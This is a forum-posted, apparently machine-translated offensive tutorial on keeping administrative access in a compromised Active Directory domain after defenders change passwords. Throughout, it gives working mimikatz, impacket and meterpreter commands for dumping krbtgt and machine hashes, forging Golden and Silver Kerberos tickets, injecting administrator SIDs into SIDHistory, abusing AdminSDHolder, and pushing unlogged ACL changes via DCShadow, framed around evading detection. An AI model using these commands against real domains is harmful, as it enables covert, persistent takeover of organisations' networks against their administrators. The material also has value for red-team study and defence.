We fix ourselves in Active Directory. How to maintain access when attacking a domain.

  • Thread Author
zTN3KraOfrk.jpg


The content of the article
  • Kerberos Golden Tickets
  • Ticketer
  • Mimikatz
  • Meterpreter
  • Kerberos Silver Ticket
  • Ticketer
  • Mimikatz
  • SIDHistory
  • Golden Ticket + SIDHistory
  • AdminSDHolder
  • DCShadow
Imagine that we compromised privileged accounts using various privilege escalation techniques, spread across the network, escaped detection, but suddenly lost control of the domain because the administrator changed the password for some reason! In today's article, we'll look at ways to maintain administrative access even if the administrator has changed passwords or permissions.

Other articles on attacks on Active Directory
  • Intelligence in Active Directory. Getting user data on Windows networks without privileges
  • Active Directory attacks. We analyze the current methods of privilege escalation
  • Lateral movement in Active Directory. Disassembling Lateral Movement techniques when attacking a domain
  • Anti-detection protection in Active Directory. Dodging detection when attacking a domain
  • Anti-detection protection in Active Directory. How to trick detection tools in a domain attack
  • Collection of accounts in Active Directory. How to search for critical data in a domain attack
All information is provided for informational purposes only. Neither the editorial board nor the author is responsible for any possible harm caused by the information in this article.
Kerberos Golden Tickets
One of the ways to preserve access to the system is to generate a Golden Ticket: the account password krbtgtwill not be changed under the same conditions under which the administrator password can be changed.

Golden Ticket are fake ticket-granting tickets, also called authentication tickets (aka TGT). If you look at the Kerberos authentication scheme for Golden Ticket, you will notice that Kerberos is not authenticated (AS-REQ and AS-REP with a domain controller). Since the Golden Ticket is a bogus TGT, it is sent to the domain controller as part of the TGS-REQ to obtain a TGS ticket.

bYNTXNn9-6w.jpg

Kerberos Authentication Scheme with Golden Ticket

The Kerberos Golden Ticket is a valid Kerberos TGT because it is encrypted and signed by the domain Kerberos account ( krbtgt). And since the TGT is encrypted with a password hash krbtgtand can be decrypted by any KDC service in the domain, the ticket is perceived as real. In order to make a Golden Ticket, we need to know the following:
  1. SPN domain.
  2. Domain SID.
  3. NTLM hash of the domain account krbtgt.
  4. The name of the user under which the operator will work (even if such a user does not exist).
Since any username can be used, it remains to find three missing components. Domain name and SID can be found using PowerShell command Get-ADDomain.

J9jXfqIo21g.jpg

SID and domain name

Now you need to get the NTLM hash of the account krbtgt. This can be done both remotely and using mimikatz. With mimikatz, the operator has a choice: to perform a DCSync attack using the Security Account Managers (SAM) database, or to use the sekurlsa module.

Code:
mimikatz # lsadump :: dcsync / user: krbtgt
G1m66a3e8lc.jpg

Retrieving hashes with mimikatz using the DCSync attackmimikatz # privilege :: debug

Code:
mimikatz # lsadump :: lsa / inject / name: krbtgt
J67wDslxG6o.jpg

We get hashes using mimikatz using the SAM databasemimikatz # sekurlsa :: krbtgt

sMAYh8EA4PY.jpg

Get hashes with mimikatz using the sekurlsa module

Remote attacks are also performed using DCSync or if there is an open session meterpreter.

Code:
impacket-secretsdump domain.dom/[email protected]
-tIUwz1b6Yk.jpg

Getting hashes with secretsdump

There are two use cases meterpreter: with hashdumpand dcsync_ntlm(for the second, you need to load the kiwi module).

3lswsoHc928.jpg

Getting hashes with meterpreter hashdump

J-rox_6aZ3Q.jpg

Getting hashes with meterpreter dcsync_ntlm

Using the information received, you can create and apply a Golden Ticket. We will do this in three ways: using mimikatz, remotely using ticketerand using meterpreter.

Ticketer
The first step is to create a ticket. To do this, we use a script ticketerfrom the package impacket(remember that you can invent any username).

Code:
impacket-ticketer -nthash 08f5bf2e292d77d8e460d3926a0d90de -domain-sid S-1-5-21-719111203-942671344-1831409528 -domain domain.dom anyuser
gm6mzbOU4sw.jpg

Creating a Golden Ticket with Ticketer

A ticket has been created in the current directory anyuser.ccache. We export it.

Code:
export KRB5CCNAME = anyuser.ccache
Now let's connect with the help psexecfrom the same package impacket.

Code:
python3 psexec.py -k -no-pass [domain] / [user] @ [hostname]
oOJ4IXuxMGQ.jpg

Connect to the host using golden ticket

We get remote control with rights SYSTEM.

Mimikatz
Let's create a fake golden ticket using mimikatz.

5tvUJrpaQPU.jpg

Creating a golden ticket with mimikatz

If you do not use a parameter in this command /ptt, then the ticket will simply be saved in the current directory. In this case, it will be immediately cached in memory. Let's check it out by calling the command line.
Code:
mimikatz # misc :: cmd
Now, after executing the command klist, we observe the cached Golden Ticket.

Creating a Golden Ticket with mimikatz

Meterpreter
To work with, meterpreterwe will use the kiwi module. The first step is to create a Golden Ticket.

wRoEPVy9Mik.jpg

Making a Golden Ticket with meterpreter

Now let's apply it.

-xTICTCTIR0.jpg

Golden Ticket application with meterpreter

And check that the ticket has been loaded successfully.

uIfEfZg3r7I.jpg

Downloaded Golden Ticket

Thus, we are able to work with elevated privileges, while we do not use the credentials of administrators. This means that we can always get access, even when changing user passwords, changing their roles, and even when deleting compromised accounts.

Kerberos Silver Ticket
Silver Ticket are fake TGS tickets, also called service tickets. As shown in the Kerberos Authentication with Silver Ticket diagram, in this case the AS-REQ / AS-REP and TGS-REQ / TGS-REP steps are missing, which eliminates the interaction with the domain controller. That is, we manage to avoid logging, since the event logs are located on the server.

nwnlTAs8zIE.jpg

Kerberos Authentication Scheme with Silver Ticket

The Kerberos Silver Ticket is a valid Kerberos TGS ticket: it is encrypted and signed by a service account that has an SPN configured for each server that in turn is running the Kerberos Authentication Service.

While the Golden Ticket is a fake TGT for gaining access to any Kerberos service, the Silver Ticket is a fake TGS. This means that the scope of its applicability is limited to a specific service.

From the above, it follows that instead of the hash of the account password, you krbtgtneed a hash of the password for the service account, as well as its SPN. Below are the most interesting services and their corresponding ticket types.

Let's analyze the creation of a Silver Ticket using the example of a service cifs. It will allow us to access with administrator rights to any shared resource on the computer, which is enough to work through psexecwith rights SYSTEM.

For the service cifs, the hash of the computer account password is enough for us. It can be obtained in the same way as in the case of the Golden Ticket.

LzltT87gcZM.jpg

Getting hashes with secretsdump

mW-NDoQksY4.jpg

Getting hashes with meterpreter

In the case of mimikatz, you can use sekurlsa::logonpasswords.

LAidmRwUhFo.jpg

Getting the hash of a computer account using mimikatz

Now let's create and apply a Silver Ticket.

Ticketer
First, let's generate a Silver Ticket. This can be done by analogy with the golden ticket, but you must specify the SPN of the CIFS service.

Code:
impacket-ticketer -nthash c854d3f11ea2ad22267ed4571f77d29b -domain-sid S-1-5-21-719111203-942671344-1831409528 -domain domain.dom -spn cifs / [hostname] anyuser
-s7nu9j_gU4.jpg

Getting the hash of a computer account using mimikatz

Now we export the ticket.

Code:
export KRB5CCNAME = anyuser.ccache
Finally, let's get rights management SYSTEMwith psexec.

-haW-i_H_HY.jpg

Getting the hash of a computer account using mimikatz

Mimikatz
The NTLM hash of the computer account password is used with the parameter rc4. In this case, we can come up with both a username and his User ID (in the parameter id). We servicewill indicate in the parameter cifs, and in the targetfull name of the computer.

Code:
kerberos :: golden / admin: anyuser /domain:domain.dom / id: 1111 / sid: S-1-5-21-719111203-942671344-1831409528 / target: [hostname] / rc4: [NTLM hash] / service: cifs / ptt
IuX7HYLBRrc.jpg

Getting the hash of a computer account using mimikatz

Let's check the tickets loaded into memory and find the newly created one there.

2rbTYo_roFk.jpg

Getting the hash of a computer account using mimikatz

There is an opinion that Silver Ticket is much more dangerous than Golden Ticket, despite the fact that their scope is limited. This is true because the service hash is easier to obtain than the hash krbtgt, and detection of such an intrusion is more difficult due to the lack of communication with the domain controller.

SIDHistory
SIDHistoryIs an attribute of an object in Active Directory that stores the old SID. It is most commonly used for migrations. This feature is required when transferring user accounts from one trusted domain to another. At the same time, the accounts fully retain the settings for accessing old resources and files. When a user is authenticated, the SIDs of each security group of which they are a member are added to that user's Kerberos ticket and also to SIDHistorytheir account attribute .

When creating a new user, the SID of his account will be different from the SID of other accounts. This is also true when transferring a user from the first domain to the second. In this case, the SID of the user account from the first domain will be added to the SIDHistoryaccount in the second domain. That is why a user from the second domain can access their old resources and files in the first domain.

But, surprisingly, if a regular user in the second domain has in the attribute of SIDHistoryhis account the SID of the account of one of the administrators of the first domain, then this user becomes privileged in the first domain! That is, the user will be granted domain administrator rights without his participation in the Domain Admins group.

Thus, to maintain privileged access in the trusted domain, the operator can include the SID of the privileged account in the target domain in the attribute of SIDHistorythe unprivileged account from the trusted domain that it controls.

With the help of mimikatz, we can embed any SID in the attribute of SIDHistoryany user (but this requires administrator rights, which, of course, we have). In the following illustration, you can see that the user notrootdoes not have administrative access.

uoYDKK-2wn0.jpg

Connection failed with psexec as user notroot

Let's see the attribute of SIDHistorythis user.

Code:
PS> Get-ADUser [user] -Properties SIDHistory
meAS6Fd0FGM.jpg

SIDHistory of user notroot

The user has this attribute empty. Now we will find out the SID of the administrator, which needs to be injected there.

EULUeENCGfE.jpg

Getting information about a user with high privileges

Let's use mimikatz to inject the root user SID rootinto a SIDHistoryregular user attribute notroot.

Code:
mimikatz # privilege :: debug
mimikatz # sid :: patch
mimikatz # sid :: add / sam: [target user] / new: [SID or user whose SID is being embedded]
v8PEzFdRI24.jpg

SID injection with mimikatz

Everything went well. Now let's check the attribute of SIDHistoryour user again . As you can see in the following illustration, the attribute SIDHistorynow contains the superuser SID.

e3hXVDEb3cg.jpg

SIDHistory of user notroot

When logged in as a user, notrootall SIDs associated with that account are added to the user's token, which is used to determine access to resources. More precisely, they add there:
  1. The SID associated with the user account.
  2. SIDs of the groups the user belongs to (including the groups of which these groups are members).
  3. SIDs contained in SIDHistory.
If you try to log in again as a user notroot, you will notice that he now has administrative access.

pwgqrXPWnmE.jpg

Successful connection as user notroot using psexec

When a user notrootlogs in, the SIDs associated with their account are evaluated and access is determined based on those SIDs. Since an account notrootis associated with an account root(administrator), the account notroothas all access rights to the account root, including domain administrator rights.

Golden Ticket + SIDHistory
The parent (root) domain contains the Enterprise Admins group of forest-wide administrators. Therefore, when the hash of the account password is krbtgtprovided in the child domain, there is a certain limitation. Since mimikatz adds group membership using relative identifiers (RIDs), in this case the RID 519 (Enterprise Admins) group in the Kerberos ticket will be identified as local to the domain in which the ticket was created (based on the account domain krbtgt) ... However, if the SID obtained by adding the RID to the domain SID does not exist, then the owner of the Kerberos ticket will not receive a specific level of access.

Thus, if the domain in which the Golden Ticket was created does not contain the Enterprise Admins group, then this ticket will not grant administrator rights for other domains in the same forest. If you make a Golden Ticket using mimikatz and refer to resources in your own and other domains, then in the second case we will receive a denial of access.

Code:
mimikatz # kerberos :: golden / admin: anyuser /domain:domA.domain.dom / sid: S-1-5-21-719111203-942671344-1831409528-1000 / krbtgt: 08f5bf2e292d77d8e460d3926a0d90de / ptt
qwW1l_zugsY.jpg

Regular Golden Ticket with mimikatz

We have already discussed in detail how it works SIDHistory, and we know that the Kerberos ticket contains this parameter. Let's add to the Kerberos golden ticket, namely to the SIDHistorySID parameter of the Enterprise Admins group.

Code:
mimikatz # kerberos :: golden / admin: anyuser /domain:domA.domain.dom / sid: S-1-5-21-719111203-942671344-1831409528-1000 / krbtgt: 08f5bf2e292d77d8e460d3926a0d90de / sidss: [SID of Enterprise ptt
utJhpYW4G84.jpg

Golden Ticket with SIDHistory via mimikatz

Thus, we gain access to the entire forest.

AdminSDHolder
AdminSDHolder - it is a subject in the section Systemin the Directory the Active ( cn=adminsdholder, cn=system, dc=domain, dc=dom). It is used as a security template for objects that are members of certain privileged groups called protected groups.

oY8zA3V2uSo.jpg

AdminSDHolder object

In Active Directory, accounts and groups with high privileges are considered secure by default. With most objects in Active Directory, administrators or users who have been delegated permissions to manage Active Directory objects can not only change access rights to objects, but also manage the permissions themselves (for example, to customize group memberships).

But there is one peculiarity: in the case of protected accounts and groups, object permissions are set and applied automatically. This ensures that object permissions remain consistent even if objects are moved to a different directory. Therefore, if someone manually changes the permissions of a protected object, those permissions will be reverted to their default values.

The objects that are considered protected groups by default are Account Operators, Administrator, Administrators, Archive Operators, Domain Admins, Enterprise Admins, Enterprise Key Admins, Key Admins, KRBTGT, Print Operators, Read Only Domain Controllers, Replicator, Schema Admins, server operators. Unlike most objects in an Active Directory domain that are owned by the Administrators group, the object AdminSDHolderbelongs to the Domain Admins group. Thus, all AdminSDHolderobjects protected with the help have the attribute AdminCountset to 1. But if the object is removed from the protected group, the value of the attribute AdminCountdoes not change.

Since the main condition of the protected object becomes the attribute value AdminCountequal to 1, we can find all these objects using the following script.

Code:
$ ldapFilter = "(adminCount = 1)"
$ domain = New-Object System.DirectoryServices.DirectoryEntry
$ search = New-Object System.DirectoryServices.DirectorySearcher
$ search.SearchRoot = $ domain
$ search.PageSize = 1000
$ search.Filter = $ ldapFilter
$ search.SearchScope = "Subtree"

$ result = $ search.FindAll ()

foreach ($ res in $ result) {
$ userEntry = $ res.GetDirectoryEntry ()
Write-host "Object Name =" $ userEntry.name
Write-host "Object Class =" $ userEntry.objectClass
foreach ($ AdminCount in $ userEntry.adminCount) {
Write-host "AdminCount =" $ AdminCount
Write-host ""
}
}
An object's access control list (ACL) is AdminSDHolderapplied as a template for all permissions to all protected Active Directory objects and their members. To provide secure access to protected objects, Active Directory will take the object's ACL AdminSDHolderand periodically apply it to all of these objects, that is, to all users and groups. Thus, if we can manipulate the ACL for AdminSDHolder, these permissions will be automatically applied to all protected objects, which will create permanent access to privileged accounts in the domain.

The SDProp process is responsible for automating the restoration of permissions on protected objects. By default, recovery occurs every 60 minutes (but this interval can be changed). Thus, if the administrator sees a suspicious permission for a protected object and deletes it, then after the specified time these permissions will be restored back thanks to SDProp, since the attribute of AdminCountthis object must be equal to 1. As a result, the object will remain protected.

Let's add the user to AdminSDHolderor set the attribute adminCountto 1 for the user.

Code:
Get-ADUser [user] | Set-ADObject -Clear adminCount
Get-ADUser [user] | Set-ADObject -Add @ {adminCount = 1}
Some time after SDProp restores the permissions, this account will have full control over the Domain Admins group.

However, you notice that the user has no group membership.

Code:
Get-ADUser [user] -Properties memberof
JvIxWrSqirs.jpg

Target User Information

To change the recovery interval, you need to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameterscreate a parameter DWORDwith a name in the registry branch AdminSDProtectFrequency, and specify the number of seconds as the value (the minimum is 60).

AdminSDHolderIs a very clever technique that allows us to provide the ability to change privileged groups in Active Directory using a key security component. Thus, even if the permissions for the protected group or user are changed by the administrator, SDProp will return the security permissions after the allotted time interval according to the object AdminSDHolder, thereby giving us back administrative access.

DCShadow
In the previous part of the article, we looked at a way to ensure access persistence based on changing the permissions of securable objects, that is, managing ACLs and manipulating the container AdminSDHolder. But these methods can be recorded in the event log. To avoid this, there is a solution: DCShadow allows you to make such changes without logging events, which reduces the risk of detection.

So the plan is as follows:
  1. Get current permissions AdminSDHolder.
  2. Make changes to permissions (add a new user).
  3. Apply updated permissions via DCShadow.
You can get the current permissions using PowerShell.

Code:
$ asdh = [adsi] 'LDAP: // CN = AdminSDHolder, CN = System, DC = domain, DC = dom'
$ sddl = $ asdh.ObjectSecurity.Sddl
JIgiOPDihj0.jpg

The current permissions of the AdminSDHolder container in SDDL format

To ensure the persistence of access, let's add an account to the permissions AdminSDHolder. To do this, you need to change the resulting SDDL string. First, you need to find out the SID of the target.

OIaxS2Pes5g.jpg

Getting the SID of the target user

Now you can change the SDDL by simply adding the SID there.
Code:
$ newsddl = $ sddl + "(A ;; CCDCLCSWRPWPDTLOCRSDRCWDWO ;;; [SID]])"
IhMCla_BISc.jpg


New line SDDL
Let's move on to the last step - using DCShadow. To apply these permissions, we use mimikatz, and on behalf of System.

Code:
mimikatz #! +
mimikatz #! processtoken
mimikatz # lsadump :: dcshadow / object: "CN = AdminSDHolder, CN = System, DC = domain, DC = dom" / attribute: ntsecuritydescriptor / value: [SDDL]
y-kf4TP-mvE.jpg

Change AdminSDHolder permissions with mimikatz DCShadow

In this case, in another mimikatz window, you need to replicate and apply the data.

Code:
mimikatz # lsadump :: dcshadow / push
After a while, you may notice the updated attribute adminCounton the target account , which we already talked about.

bStgIpE900I.jpg

Change AdminSDHolder permissions with mimikatz DCShadow

Thus, another vector for which we can use DCShadow is administrative access persistence.
 
Top